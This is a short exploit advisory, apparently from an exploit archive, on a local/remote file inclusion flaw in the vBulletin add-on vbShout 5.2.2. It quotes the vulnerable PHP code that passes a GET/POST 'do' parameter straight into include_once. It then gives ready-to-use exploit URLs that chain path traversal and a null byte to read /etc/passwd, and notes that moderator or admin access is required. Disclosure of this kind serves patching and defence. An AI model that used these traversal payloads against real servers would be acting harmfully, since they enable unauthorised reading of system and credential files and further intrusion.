vbShout 5.2.2 – Local/Remote File Inclusion
################################################# + + Title: vbShout 5.2.2 Remote/Local File Inlcusion (Mod/Admin) + Author: fred777 - [fred777.5x.to] + Link: http://www.dragonbyte-tech.com/vbecommerce.php?do=purchase&act=product&id=2 + Vuln: vbshout.php?do=[path/file][NULL-Byte] + Greetzz to: SceneCoderz + Contact: nebelfrost77@googlemail.com + ################################################# --[ Vuln Code ] -- modcp/vbshout.php: admincp/vbshout.php: else if (!empty($_GET['do'])) { // We had a GET request instead $action = $_GET['do']; if (!empty($_POST['do'])) { // $_POST requests take priority $action = $_POST['do']; } if (!file_exists(DIR . '/dbtech/vbshout/includes/actions/admin/' . $action . '.php')) { if (!file_exists(DIR . '/dbtech/vbshout_pro/includes/actions/admin/' . $action . '.php')) { // Throw error from invalid action print_cp_message($vbphrase['dbtech_vbshout_invalid_action']); } else { // Include the selected file include_once(DIR . '/dbtech/vbshout_pro/includes/actions/admin/' . $action . '.php'); } } else { // Include the selected file include_once(DIR . '/dbtech/vbshout/includes/actions/admin/' . $action . '.php'); } => ../../../../../../etc/passwd%00 ################################################ --[ Exploitable ]-- http://server/vbshout.php?do=[PATH/FILE][NULL-Byte] http://server/vbshout.php?do=../../../../../../../../etc/passwd%00 You must be mod oder admin: modcp/vbshout.php admincp/vbshout.php ################################################ |